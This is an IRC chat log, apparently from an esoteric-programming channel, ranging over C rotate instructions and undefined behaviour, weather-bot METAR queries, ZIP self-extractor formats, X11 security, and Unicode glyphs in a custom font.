Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms. 18:47:08 -!- iaglium has joined. 18:47:25 is the sextant a mathematical tanebvention 18:54:33 -!- iaglium has quit (Ping timeout: 240 seconds). 18:56:41 -!- Koen_ has joined. 19:01:43 -!- iaglium has joined. 19:29:17 -!- augur has joined. 19:29:24 -!- spiette has quit (Ping timeout: 276 seconds). 19:44:05 -!- spiette has joined. 20:09:13 -!- augur has quit (Remote host closed the connection). 20:11:06 <\oren\> oh so thats what ianal stands for. i have been reading it in my head literally. 20:18:22 <\oren\> why doesnt C have a rotate operator? 20:18:46 <\oren\> mpst processors have a rotate instruction. 20:20:21 <\oren\> oh maybe the pdp 11 didnt 20:21:10 <\oren\> no it totally did! 20:21:16 <\oren\> argh 20:22:11 -!- ^v has quit (Ping timeout: 244 seconds). 20:25:19 <\oren\> for that matter whytf don't more languages allow you to test for overflow simply? most processors have an overflow flag for that purpose! 20:28:49 <\oren\> goddamn people pandering to special snowflake processor designers 20:31:09 -!- ^v has joined. 21:03:03 -!- ^v^v has joined. 21:03:10 -!- ^v has quit (Ping timeout: 272 seconds). 21:03:31 -!- ^v^v has changed nick to ^v. 21:19:09 gcc lets you use all of that with __builtin_* 21:19:33 -!- jaboja has joined. 21:23:37 -!- augur has joined. 21:26:29 \oren\: Rust has a rotate method 21:30:17 . o O ( so does Postscript ) 21:31:06 x.rotate_left(y) and x.rotate_right(y) (Yeah, the names are pretty long.. ) 21:32:11 Most compilers turn (a >> K) | (a << (W-K)) of a W-bit unsigned type into a single rotate-by-K instruction. 21:32:26 -!- spiette has quit (Ping timeout: 244 seconds). 21:32:50 even mksh can rotate 21:34:02 `` echo 'unsigned f(unsigned x) { return (x << 7) | (x >> (32-7)); }' | gcc -x c - -o - -S | tr '\t' ' ' | grep roll 21:34:07 ​ roll $7, %eax 21:34:40 it's doubly stupid that you have to write it like that 21:36:14 <\oren\> hmm what if i made an assembler with a c like syntax 21:36:35 isn't that called c 21:37:11 <\oren\> eax += *(i32)rbx 21:37:37 <\oren\> eax += *(i32*)rbx 21:37:55 -!- spiette has joined. 21:38:30 a language where you can add * anywhere randomly and it will still be valid 21:39:51 But only one * 21:40:08 <\oren\> Or for 6502: A+=*(0x6000+X) 21:42:45 <\oren\> which turns into 7d 00 60 21:43:34 <\oren\> ideally it can figure out even ones that take more than one instruction 21:45:18 <\oren\> hmm and maybe it would also have type inference for pointers 21:45:31 <\oren\> ill work on a spec 21:46:31 <\oren\> but the point is this would avoid learning so many opcode mnemonics 21:52:47 `? wbinvd 21:52:48 wbinvd? ¯\(°​_o)/¯ 21:54:25 <\oren\> you would still have to know what the registers are named but perhaps those would be in a header 21:55:46 <\oren\> include "x86-64.h" 21:56:12 <\oren\> i64 register rax 21:56:34 <\oren\> i32 register eax 21:57:16 <\oren\> i8 register ah 21:57:51 \oren\: so what are you imagining to do with the MMX/SSE{,2,3,4} mess? 21:58:23 <\oren\> probably the type sysyem will include arrays or structs 21:58:35 <\oren\> so something like 21:59:10 ah, the AVX family seems to be the most recent addition there. 21:59:28 * int-e has stopped paying attention to processor developements :/ 21:59:29 \oren\: FWIW those have been done; they're generally considered "high level assemblers". 21:59:44 (not that that should stop you) 21:59:53 <\oren\> i32 register mm032[2] 22:02:04 <\oren\> pikhq: ive looked at a few... 22:03:29 <\oren\> they seem to revolve around providing if and while rather than algebraic notaton 22:06:00 <\oren\> basically ive becone fed up with c. i just wish gcc would stop optimizing based on undefined behaviour and instead define said behaviour in a useful and consistent manner 22:07:00 -!- Sprocklem has joined. 22:07:10 A huge amount of UB comes from C wanting to support different CPUs without requiring inefficient code gen, FWIW... 22:07:35 If GCC decided to abandon that, then it'd in some cases be forced to, well, emit inefficient code to support the semantics. 22:08:29 <\oren\> well what they could do is have a flag -fx86semantics 22:08:49 Would that include the floating point semantics? 22:09:17 <\oren\> yes it would just do whatever the obvious thing is 22:09:34 Then it would be forced to do a software floating point implementation. 22:09:49 <\oren\> pikhq: why? 22:10:13 <\oren\> the obbvious thing is that adding two doubles emits a fadd 22:10:14 ... Because x86 is unique in having 80-bit floats. And only 80-bit floats. 22:10:40 Unless you use SSE2 math, but most on x86 don't. 22:11:11 -ffloat-store exists for a reason. 22:11:29 but I don't think that's the stuff \oren\ is complaining about anyway 22:11:40 <\oren\> right. essentially i want a flag that defines things as the most obvious way to do in asm 22:12:01 it's thing like "oh this code path dereferences a null pointer, which is undefined behavior, so let's mark it as never taken" 22:12:20 and breaking overflow checks 22:12:32 int-e: -ffloat-store produces non-conformant behavior... But, on the other hand, on compilers before GCC 5, the default was both non-conformant *and utterly inconsistent*. :) 22:14:31 (-ffloat-store stores intermediates to the stack as 64-bit or 32-bit floats immediately. What C requires is intermediates only get reduced down to that on a cast or store to double or float; what GCC did was reduce down to that whenever it would spill to the stack.) 22:15:35 <\oren\> int-e: yeah. the overflow of signed integers has -fwrapv but ideally there should be something that defines all UB. 22:38:22 <\oren\> accessing an undefined variable shoukd just give you some value. it shouldn't delete the code of the entire containing function.. 22:41:03 -!- spockers has quit (Excess Flood). 22:41:49 -!- spockers has joined. 22:44:00 Well, now. The x87 FPU control word *does* have a precision control, being able to select single (24), double (53) or double extended (64) precision. 22:44:22 "These settings are provided to support IEEE Standard 754 and to provide compatibility with the specifications of certain existing programming languages." 22:44:40 (From what I recall, they don't affect the exponent range, though.) 22:47:15 fizzie: Yup, they can't really be used for saner floats because of that. 22:51:37 -!- nycs has quit (Quit: This computer has gone to sleep). 23:00:02 -!- boily has joined. 23:02:37 @metar CYUL 23:02:37 CYUL 202100Z 22025G33KT 30SM FEW075 SCT250 32/16 A2975 RMK CU1CI3 SLP074 DENSITY ALT 2300FT 23:03:02 thirty-fungotting-two outside. sunny, face wind. much fun to bike. bleh. 23:03:32 @metar CYUL 23:03:32 CYUL 202100Z 22025G33KT 30SM FEW075 SCT250 32/16 A2975 RMK CU1CI3 SLP074 DENSITY ALT 2300FT 23:03:34 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:03:36 @metar ENVA 23:03:36 ENVA 202150Z 16015KT CAVOK 16/07 Q1003 RMK WIND 670FT 18024G38KT 23:03:52 * boily should import some ørjanlandweather 23:04:12 `? weather 23:04:16 lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK 23:04:18 CYUL 202100Z 22025G33KT 30SM FEW075 SCT250 32/16 A2975 RMK CU1CI3 SLP074 DENSITY ALT 2300FT \ ENVA 202150Z 16015KT CAVOK 16/07 Q1003 RMK WIND 670FT 18024G38KT \ ESSB 202150Z AUTO 15005KT 9999 NCD 14/10 Q1014 \ KOAK 202153Z 28014KT 10SM FEW080 FEW120 23/11 A3007 RMK AO2 SLP181 T02330111 23:04:33 @metar KSJC 23:04:33 KSJC 202153Z 30013G18KT 10SM FEW070 SCT120 SCT200 29/07 A3005 RMK AO2 SLP173 T02890067 23:04:55 hellochaf. please stop moving twh 23:05:12 @metar KPHX 23:05:13 KPHX 202151Z 18009KT 10SM FEW120 FEW200 SCT250 46/03 A2977 RMK AO2 SLP056 T04560028 23:05:51 <\oren\> @metar cyyz 23:05:51 CYYZ 202118Z 24020G28KT 15SM BKN060TCU BKN075 30/21 A2977 RMK TCU5AC2 SLP081 DENSITY ALT 2500FT 23:06:03 @metar LLBG 23:06:03 LLBG 202150Z 18004KT CAVOK 25/18 Q1010 NOSIG 23:07:33 he\\oren\. 23:09:08 Canada is topping the temperatures. there's something wrong going on... 23:09:46 @metar FTTJ 23:09:47 FTTJ 202100Z 23004KT 9999 FEW040 FEW050CB 28/23 Q1013 NOSIG 23:10:17 it's warmer here than N'Djamena. please someone who has admin access reboot the Earth. 23:10:33 boily: did you see KPHX hth 23:11:23 aberrant outlier. statistically unsound, and it goes against my rant. 23:11:54 I highly doubt it's possible to reach +46 in the K??? block hth 23:12:05 <\oren\> toronto has a horrible heat island 23:12:29 okay, KPHX is Phoenix. perfectly plausible. 23:12:48 \oren\: the Big T is disastrous for heat. 23:13:02 <\oren\> when you enter the farmland the temperature drops 10 degrees on a typical summer 23:14:12 <\oren\> one day ill run for mayor and build a giant air conditioned dome over the entire GTA 23:15:06 you should build it around here. much better immo. 23:15:27 <\oren\> it will be a big beautiful dome, and ill make the albertans pay for it! 23:15:44 -!- spiette has quit (Ping timeout: 260 seconds). 23:15:53 oh. please yourself! as long as they pay I'm fine with it. 23:16:32 [wiki] [[FiM++]] https://esolangs.org/w/index.php?diff=47240&oldid=45608 * 85.244.128.237 * (-5) 23:17:19 @metar KCHD 23:17:19 KCHD 202147Z 17007KT 20SM FEW200 45/03 A2980 23:17:40 @metar KTUS 23:17:40 KTUS 202153Z AUTO 00000KT 10SM CLR 43/02 A2993 RMK AO2 SLP074 T04330022 23:17:47 okay, okay. american heatwave. I'm still complaining, tho! 23:17:52 * boily mumbles grumbles 23:17:59 You know, when I moved to the US, I thought it was a cold country. 23:18:24 <\oren\> the dome will generate revenue as it will be opaque abd white, so we can project advertisements onto it to be visible to everyone in the city 23:18:26 Anyway does Arizona even really count? 23:18:29 @metar KSAN 23:18:29 KSAN 202151Z 18009KT 10SM FEW040 SCT100 25/16 A2989 RMK AO2 SLP123 FU SCT100 T02500161 23:19:13 <\oren\> the big dipper will be replaced by the coca cola logo 23:20:18 whoa whoa whoa, remember _The Man Who Sold the Moon_? 23:20:27 -!- oerjan has joined. 23:20:59 <\oren\> shachaf: well it would only visible from inside the dome 23:21:24 <\oren\> so revenue would go to the municipal government only. 23:21:40 * boily mapoles the corporate shill out of \oren\ 23:21:57 "In Robert A. Heinlein's 1951 novella The Man Who Sold the Moon the protagonist raises funds for his lunar ambitions by publicly describing means of covering the visible lunar face in advertising and propaganda, and then taking money not to do so." 23:22:21 <\oren\> lol that could also work 23:25:08 <\oren\> we could project visuals of the night sky onto the dome with brightness enhanced making toronto the only metropolis where the milky way is clearly visible 23:26:34 shachaf: he bought the moon with money he got for not buying it? 23:26:41 <\oren\> in emergencies the dome coukd also display news footage or instructions for response personnel 23:26:47 Koen_: For not advertising on it, I guess? 23:26:58 that sounds like diverting money 23:27:06 I'm not sure that he bought the moon. I guess he did? 23:27:16 But I think that story is mainly about how he sold it. 23:27:19 there is an iranian film about the death penalty 23:27:34 \oren\: Or a picture of a bat? 23:27:42 the father of a murdered girl asks the father of the murderer for money in exchange of which he will not press charges 23:28:21 but it turns out that since men are worth more than women, the state won't execute the murderer unless the family of the victim pays the difference 23:28:41 so the father of the victim is planning to use the money he got for not pressing charges to pay for the execution 23:32:08 <\oren\> hmm it appears that noone has proposed an *opaque* done... 23:32:28 <\oren\> s/done/done 23:32:43 <\oren\> s/done/dome 23:33:51 shachaf, holy fuck i thought those metars were in fahrenheit 23:34:01 happoily solstice! 23:38:01 bonne ploeirjane lune et bjohan senlstice! 23:46:52 -!- spockers has quit (Read error: Connection reset by peer). 23:47:28 -!- spockers has joined. 23:47:57 oh so it is 23:49:26 <\oren\> oh so thats what ianal stands for. i have been reading it in my head literally. <-- the beauty is that it doesn't really change the meaning much hth 23:57:06 -!- MoALTz has quit (Ping timeout: 244 seconds). 2016-06-21: 00:00:39 -!- boily has quit (Quit: WINDY CHICKEN). 00:05:16 -!- jaboja has quit (Ping timeout: 252 seconds). 00:17:35 -!- lambda-11235 has joined. 00:38:34 -!- iaglium has quit (Ping timeout: 260 seconds). 00:45:24 -!- iaglium has joined. 00:51:29 -!- augur has quit (Remote host closed the connection). 01:00:03 -!- augur has joined. 01:11:01 -!- moon___ has joined. 01:23:46 -!- moon___ has quit (Ping timeout: 250 seconds). 01:30:50 -!- augur has quit (Remote host closed the connection). 01:43:06 -!- lambda-11235 has quit (Quit: Gotta go). 01:44:16 @tell boily Hope you like dark and malty. You're getting 24floz of barleywine and stout for a grand total of 2.94floz of alcohol. 01:44:16 Consider it noted. 01:45:45 -!- iaglium has quit (Ping timeout: 260 seconds). 02:31:44 -!- lambda-11235 has joined. 02:32:58 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 03:10:13 -!- augur has joined. 03:30:09 -!- augur_ has joined. 03:30:36 -!- augur has quit (Ping timeout: 250 seconds). 03:42:50 -!- oerjan has quit (Quit: Nite). 04:14:17 `` hoag wisdom/tanebvention | tac 04:14:21 mv wisdom/tanebventions wisdom/tanebvention \ revert 3 \ revert 87c64ef250a0 \ mv wisdom/tanebvention{s,} \ cp wisdom/tanebventions wisdom/tanebvention \ sed -i \'s/torus,/torus, Stephen Wolfram,/\' wisdom/tanebvention \ sed -i \'s/modules/&, Chu spaces/\' wisdom/tanebvention \ `` hoag wisdom/tanebventions | tac 04:14:29 learn Tanebventions include D-modules and automatic squirrel feeders \ mv wisdom/tanebventions wisdom/tanebvention \ learn Tanebventions include D-modules, automatic squirrel feeders, and Go \ mv wisdom/tanebvention{s,} \ learn Tanebventions include D-modules, automatic squirrel feeders, the torus, and G 04:14:39 whoa, Taneb invented Tanebventions? 04:14:52 I kind of assumed it was oerjan or something. 04:16:08 `? tanebvention 04:16:09 Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 04:16:32 `slwd tanebvention//s#p#Tanebventions, p# 04:16:36 wisdom/tanebvention//Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, Tanebventions, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex. 04:18:18 `cat bin/sled 04:18:18 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 04:18:19 ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1; }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 04:20:12 Hmm, I was going to make a version of sled that doesn't write out the file, for testing in /msg, but it's too much of a hassle. 04:46:27 -!- Kaynato has quit (Ping timeout: 244 seconds). 05:13:24 -!- lambda-11235 has quit (Quit: Bye). 05:19:28 http://petrl.org/ 05:42:48 http://iml.univ-mrs.fr/~girard/mustard/article.html 06:10:18 -!- lambda-11235 has joined. 06:23:30 -!- hppavilion[1] has joined. 06:23:33 * - freenode runs an open proxy scanner. Please join #freenode for 06:23:34 * - any network-related questions or queries, where a number of 06:23:34 * - volunteer staff and helpful users will be happy to assist you. 06:23:34 * - 06:23:35 * - You can meet us at FOSSCON (http://www.fosscon.org) where we get 06:23:37 * - together with like-minded FOSS enthusiasts for talks and 06:23:39 Whoops 06:23:45 Is there an ISO standard for controlling death rays? 06:43:02 <\oren\> maybe USB would work? 06:43:05 <\oren\> or SCSI 06:43:53 MIDI. 06:51:33 -!- Sprocklem has quit (Ping timeout: 240 seconds). 06:55:55 death (metal) ray 06:59:12 -!- lambda-11235 has quit (Quit: Bye). 07:03:16 -!- Sprocklem has joined. 07:06:38 wow there's already a hd-ts torrent of finding dory 07:22:21 My own new kind of computer design is it is also with MIDI (not only for music). 07:25:44 izabera: Somebody's getting fired. 07:26:41 i'm sorry for them *eats popcorn watching finding dory* 07:40:51 Hm, are there any chat applications that actually employ demotivation tunnels? 07:43:02 -!- Destructible has joined. 07:43:10 hiii 07:43:12 . 07:43:30 ╔═╦╗╔═╦╗ ╔═════╦╗ ╔═╦╗ ╔═╦╗ ╔═════╦╗ 07:43:37 ║ ║║║ ║║ ║ ╔═══╩╝ ║ ║║ ║ ║║ ║ ╔═╗ ║║ 07:43:43 ║ ╚╩╝ ║║ ║ ╚═══╦╗ ║ ║║ ║ ║║ ║ ║ ║ ║║ 07:43:49 ║ ╔╦╗ ║║ ║ ╔═══╩╝ ║ ║║ ║ ║║ ║ ║ ║ ║║ 07:43:56 ║ ║║║ ║║ ║ ╚═══╦╗ ║ ╚╩══╦╗ ║ ╚╩══╦╗ ║ ╚═╝ ║║ 07:44:02 ╚═╩╝╚═╩╝ ╚═════╩╝ ╚═════╩╝ ╚═════╩╝ ╚═════╩╝ 07:44:32 ___ ___ _______ __ __ _______ / /__/ // ____// / / / / ___ /| / __ // ____// /____ / /____ / /__/ / / /___/|/__//______//______//______//______/ / __ |___|/|__||______||______||______||______|/ 07:44:36 ... 07:44:42 Please don't spam the channel. 07:44:58 it seemed empty 07:45:02 sorry 07:45:17 Spam is worse than silence. 07:45:32 ok 07:45:39 Thou shalt not spam 07:45:41 For that matter, so is that "anyone here?" thing you always do. 07:45:59 ok 07:46:02 Destructible: Also, it wasn't empty, it's just that no one said anything in the 9 seconds after you joined 07:46:09 yeah 07:46:10 ok 07:46:34 I said something a couple minutes ago and a response would have come through shortly after I assume 07:46:42 shachaf: Do you know of any such chat application? 07:46:50 I'm just going to go now 07:46:54 Any what? 07:46:54 -!- Destructible has quit (Client Quit). 07:48:38 shachaf: Chat applications employing demotivational tunnels as the primary interface, but in a streamlined fashion 07:49:19 I don't know what those are. 07:54:24 ___ ___ _______ __ __ _______ / /__/ // ____// / / / / ___ /| / __ // ____// /____ / /____ / /__/ / / /___/|/__//______//______//______//______/ / __ |___|/|__||______||______||______||______|/ 07:54:29 what is that supposed to be? 07:56:05 -!- spiette has joined. 07:57:14 oh i rearranged it and this came up 07:57:18 ___ ___ _______ __ __ _______ 07:57:20 / /__/ // ____// / / / / ___ /| 07:57:22 / __ // ____// /____ / /____ / /__/ / / 07:57:24 /___/|/__//______//______//______//______/ / 07:57:26 |___|/|__||______||______||______||______|/ 08:15:11 -!- spockers has quit (Ping timeout: 244 seconds). 08:15:15 -!- spiette has quit (Quit: :qa!). 08:19:25 -!- spockers has joined. 08:24:22 -!- augur_ has quit (Remote host closed the connection). 08:42:43 izabera: spam is bad, unless properly cooked 08:42:45 ` 08:42:45 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found 08:43:32 `pseudo 08:43:33 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: pseudo: not found 08:43:55 does anyone know how those self extracting zip archives work? 08:44:14 in my understanding there's a program and then they append the archive at the end of it 08:44:18 how do they do that? 08:44:29 they must store the offset of the archive somewhere 08:46:15 Have there been any terrorist attacks recently enough that it'd be insensitive to make a 'fork bomb' joke? 08:47:04 <\oren\> There's always terrorists attacking somewhere. 08:47:11 \oren\: Well yeah 08:47:16 \oren\: But any high-profile ones? 08:49:10 or they put some kind of marker and the program scans itself to find it 08:49:10 i guess it's probably a fixed offset and they compute it once per architecture and then reuse the same executable and recompute it when they recompile to update their program 08:51:40 For ZIP archives I think it is a marker. 08:52:07 So, if you append a ZIP archive to a PNG picture, a program that reads PNG or ZIP will be able to read the corresponding part just fine (I have tried this). 08:53:10 so is there a string that will never be part of an elf or pe file? 08:53:23 something that can be used as a marker 08:53:49 izabera: That is impossible I think, but the program could be written to avoid it so that the marker can be found. 08:54:21 wouldn't that require some major hacking in the compiler? 08:56:22 I am making a program called Xwicketset it is another C library that goes over Xlib to provide many additional functions including widgets. For example to deal with resources there are functions XwicGetResource, XwicGetLeafResource, XwicGetStringResource. The most complicated function so far is XwicCreateMainWindow, which is more than fifty lines long, and uses some of the other functions. 09:02:15 -!- AnotherTest has joined. 09:08:34 Have you made any programming with X window system before? 09:09:13 we're all in wayland 09:09:50 I still think X is better though; I don't like Wayland 09:15:11 It seem Canonical does not like Wayland either so they invented Mir. I don't like either of those and believe X11 should be replaced by X12 instead (I have written many ideas about how X version 12 could be made up). 09:15:40 they just wanted to be unique 09:24:42 <\oren\> they should just make a version of X that removes all the parts that noone uses 09:26:23 <\oren\> This would break compatibility with lots of very old X programs, but people who want to use those can use the old version of X 09:27:14 <\oren\> This would solve the problem of "X is bloated" without creating the problem of "now we're running both wayland and X" 09:28:11 Some things I would remove from X include such thing as GLX, Xcursor, and several other extensions, as well as the protocol requests for setting the font path and screen saver controls (and use separate methods of setting these things). 09:30:31 -!- J_Arcane has joined. 09:31:55 My method would be to implement a proxy to convert between X11 and X12 requests for the cases where the program is not modified to work natively, as well as to implement a proxy for doing security features. 09:32:20 izabera: At least zip files have the directory part at the end of the file. 09:33:53 ah that's smart, put the metadata at the end 09:36:10 You can see this in action in unzip's I-don't-know-this-file error: "End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive." 09:39:22 Self-extracting rars go with the marker approach -- unarchivers skip any leading bytes that precede the first occurrence of an 8-byte signature ("Rar!\x1a\x07\x01\x00"), failing if that signature is not found within the first megabyte. 09:40:46 fizzie: Rar! 09:43:06 fizzie: isn't that generally true for ZIP files as well? 09:43:42 What is? 09:43:54 markers-in-anywhere approach, that is 09:43:56 zzo38: isn't that sort of what happens with X11 clients over wayland, or X11 clients over windows? 09:44:06 zzo38: oh, that reminds me, I have a question about X11 09:44:38 lifthrasiir: I don't think so. 09:45:34 fizzie: I think ZIP appended to other binaries can work without central records at the very end of file for that reason 09:46:50 "Tools that correctly read .ZIP archives must scan for the end of central directory record signature, and then, as appropriate, the other, indicated, central directory records. They must not scan for entries from the top of the ZIP file, because only the central directory specifies where a file chunk starts. Scanning could lead to false positives, as the format does not forbid other data to be ... 09:46:56 ... between chunks, nor file data streams from containing such signatures." 09:46:58 Guess so, then. 09:47:01 \oren\: what's wrong with both wayland and X? it took a few decades, but now people really run entire linux computers with no termcap support (neither the library-level compatibility layer nor the actual TERMCAP env var for statically linked programs), without a.out (ancient-libc) support, and even without x86_32 libc support. 09:47:30 But I don't think that's necessary for the self-extracting functionality, since the directory *is* at the end. 09:47:39 I will probably run X11 forever, but the sort of people with their fancy "desktop environments" will probably be running all-wayland in a decade. 09:48:28 Some programs such as Xaw could be ported to X12 however. 09:50:10 zzo38: anyway, some people try to claim that traditional X11 is "unsecure" because any program with access to the display can steal the images and keyboard input and whatnot from all other windows; and they try to show their fancy modified X11 server or proxy or whatever it is showing that the same exploit doesn't work there. But I don't believe what they say: 09:50:26 I would rather to design and then switch to X12, and failing that use X11. 09:51:24 If those people want these crazy transparent borderless menu overlay windows that they already use in X11, then how could a user ever be sure which window is where and which window they're typing to? They might not even know where the mouse cursor is. I just don't understand how any such system could be secure, 09:52:18 short of having a trusted vnc server whose head is shown entirely in a window that can't capture the mouse or keyboard events and has a distinctive border and can't draw outside, which IS what I want for this kind of security, but it doesn't appear to be what they're after. 09:52:29 Does what these people say against traditional X11 even make sense? 09:53:01 (Also they try to sell this as if it was some sort of sensational new exploit, but whatever.) 09:53:38 It would be better to use different screens for different security contexts when it is necessary to do so probably. Although a X proxy could be made to do what you say. X11 is not designed for this but could be done; X12 has some things that would make such a proxy less messy. 09:54:41 zzo38: yes, exactly. I'd like to run three local X servers this way, and I hope I can show the contents of one in a window of another in a way that's cheaper than vnc through a PF_UNIX socket, but I don't have my hopes high. 09:54:56 (Three, becase one for sane stuff, one for web browser on untrusted websites, one for skype.) 09:56:22 They could also change the border colours to indicate if the inner security context is active, so that you can detect the keyboard logging and stuff like that. (This way would allow it to work even if the programs are running on different computers.) 09:57:55 zzo38: ok 09:59:05 mind you, one thing that makes this sort of thing expensive is that the clients to the restricted X server aren't allowed to know even about paint events or which part of their window is visible, so they must keep rendering the video even when it's actually covered on my screen entirely 10:00:17 By setting the permission of different connections in the UNIX system, there can be the security between the different security contexts. For example implement a kind of "securex" command perhaps, that will set the DISPLAY variable and then run the program so that it cannot access the main X server connection. 10:00:41 Now that I think about it... wizards being willing to eat all of the weird candy that there is in Harry Potter makes them seem either fetishistic or sociopathic 10:07:31 -!- Phantom_Hoover has joined. 10:08:49 zzo38: oh, I can already make it so that a program can't access the main X server connection. 10:09:03 zzo38: run it as a different user, don't tell Xauthority to that user 10:09:28 that's the default with mutliple users, I have to give Xauthority explicitly 10:09:44 with the Xauth command 10:12:49 <\oren\> Yay, new version of my font! 10:12:51 <\oren\> ❶❷❸❹❺❻❼❽❾❿①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍ 10:12:54 <\oren\> ⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍ 10:12:58 <\oren\> ⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿ 10:13:06 <\oren\> all of those are now supported 10:15:19 why do these character even exist 10:15:48 is ⒜ better than (a)? 10:15:55 <\oren\> it's probably the fault of the Japanese 10:16:02 :o 10:16:06 what did they do? 10:16:35 <\oren\> They had a huge character set to fill and they made up useless crap to fill it with 10:16:57 did they _have_ to fill it? 10:17:05 <\oren\> no 10:17:14 <\oren\> that's why it's their fault 10:17:19 bastards 10:17:28 <\oren\> ikr 10:18:05 <\oren\> but hey, now I have like 50 new characters 10:18:13 http://cbselementary.wikia.com/wiki/Oren_Watson 10:19:29 <\oren\> I have no relation to that character 10:19:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 10:19:34 -!- MoALTz has joined. 10:19:42 lies 10:19:52 \oren\: yeah, it even has a few totally made up kanji of which nobody knows the meaning or etymology or pronunciation 10:21:51 why is the last line of the math special characters red? 10:22:07 <\oren\> those characters don't actually exist 10:22:23 <\oren\> (in the unicode standard) 10:22:35 <\oren\> i'ts complicated 10:23:07 i don't see much difference between the red chars and their white counterparts 10:23:07 <\oren\> `unicode 𝔄𝔅ℭ 10:23:11 U+1D504 MATHEMATICAL FRAKTUR CAPITAL A \ UTF-8: f0 9d 94 84 UTF-16BE: d835dd04 Decimal: 𝔄 \ 𝔄 \ Category: Lu (Letter, Uppercase) \ Bidi: L (Left-to-Right) \ Decomposition: 0041 \ \ U+1D505 MATHEMATICAL FRAKTUR CAPITAL B \ UTF-8: f0 9d 94 85 UTF-16BE: d835dd05 Decimal: 𝔅 \ 𝔅 \ Category: Lu (Letter, Uppercase) \ Bidi 10:23:17 <\oren\> `unicode ℭ 10:23:19 U+212D BLACK-LETTER CAPITAL C \ UTF-8: e2 84 ad UTF-16BE: 212d Decimal: ℭ \ ℭ \ Category: Lu (Letter, Uppercase) \ Bidi: L (Left-to-Right) \ Decomposition: 0043 10:23:38 <\oren\> `unicode 𝔆 10:23:39 U+1D506 - No such unicode character name in database \ UTF-8: f0 9d 94 86 UTF-16BE: d835dd06 Decimal: 𝔆 \ 𝔆 (𝔆) \ Uppercase: U+1D506 \ Category: Cn (Other, Not Assigned) 10:23:50 <\oren\> see? 10:24:35 <\oren\> they left gaps in the math alphabets for the characters that had already been made elsewhere 10:25:26 \oren\: why does your fontdemo.htm has no html title? 10:25:46 please add one 10:25:51 <\oren\> Ok 10:26:37 ah great, now the font does show up! I think I know which client setting I messed up int he browser. 10:27:06 hehe, snake fillers as in the XKCD strip, is that new? 10:27:23 <\oren\> not as new as the other stuff but yes 10:29:36 \oren\: hmm, since you added extra characters for the Verne futhark inscription, maybe you should add the inscription as one of the samples 10:29:37 -!- J_Arcane has quit (Read error: Connection reset by peer). 10:29:45 to show how those characters are to be used 10:30:27 <\oren\> sounds good 10:31:55 And I still think that third character form the Commodore 64 extensions is just a black club card suit symbol, not an extension, since the character set has symbols for the other three suits. 10:32:41 <\oren\> well it's a weird looking club suit with a hole in the middle... 10:34:54 -!- J_Arcane has joined. 10:35:21 \oren: it's this style of the club suit symbol in low res: https://commons.wikimedia.org/wiki/File:Atlas_deck_4_of_clubs.svg 10:35:28 not the most common variant, but I don't think it's weird 10:37:00 In German, the suit of clubs is called by the word for “cross”. 10:38:41 <\oren\> i see 10:38:50 \oren\: is the snake filler extension missing from the character listing in the demo page? 10:40:27 <\oren\> oh. uh... you saw nothing! 10:41:55 \oren\: also, aren't these "Powerline" thingy characters new enough to be yellow? 10:42:36 <\oren\> not really I think I added them a few months ago 10:42:41 ok 10:48:14 b_jonas: Btw re X server, does Xnest not do what you want? 11:26:41 Melvar: I don't know what Xnest is 11:33:20 Xnest is a program which acts as an X client to an ordinary X server, and as an X server to its own clients. An X nested inside X. I’m not sure in how far it might fulfil your security stipulations though. 11:34:24 Melvar: I see, I'll have to examine that 11:34:43 -!- SLiV has joined. 11:35:11 Melvar: I knew there were some two other headless X servers apart from vnc derivatives (and there's too many versions of vnc stuff really), but one of them is Xvfb which is truly blind in that you can't view the display at all, 11:35:19 and I don't recall the other. 11:35:42 Note that the truly blind one is still useful for some stupid scripts that need to access X but don't actually need user input or output. 11:35:55 Xnest is not headless, if I understand that term properly: It creates a window which acts as the root window of the nested X server. 11:35:56 Or for eg. some automated testing. 11:36:01 Melvar: right 11:36:11 I should try to remember that name and read about it. 11:37:04 -!- boily has joined. 11:38:33 -!- clog has quit (Ping timeout: 276 seconds). 11:38:51 `random-card 11:38:54 Cinder Pyromancer \ 2R \ Creature -- Elemental Shaman \ 0/1 \ {T}: Cinder Pyromancer deals 1 damage to target player. \ Whenever you cast a red spell, you may untap Cinder Pyromancer. \ EVE-C, PD2-C 11:38:55 `random-card 11:38:56 Fires of Yavimaya \ 1RG \ Enchantment \ Creatures you control have haste. \ Sacrifice Fires of Yavimaya: Target creature gets +2/+2 until end of turn. \ IN-U, HOP-U, ARC-U, PC2-U, 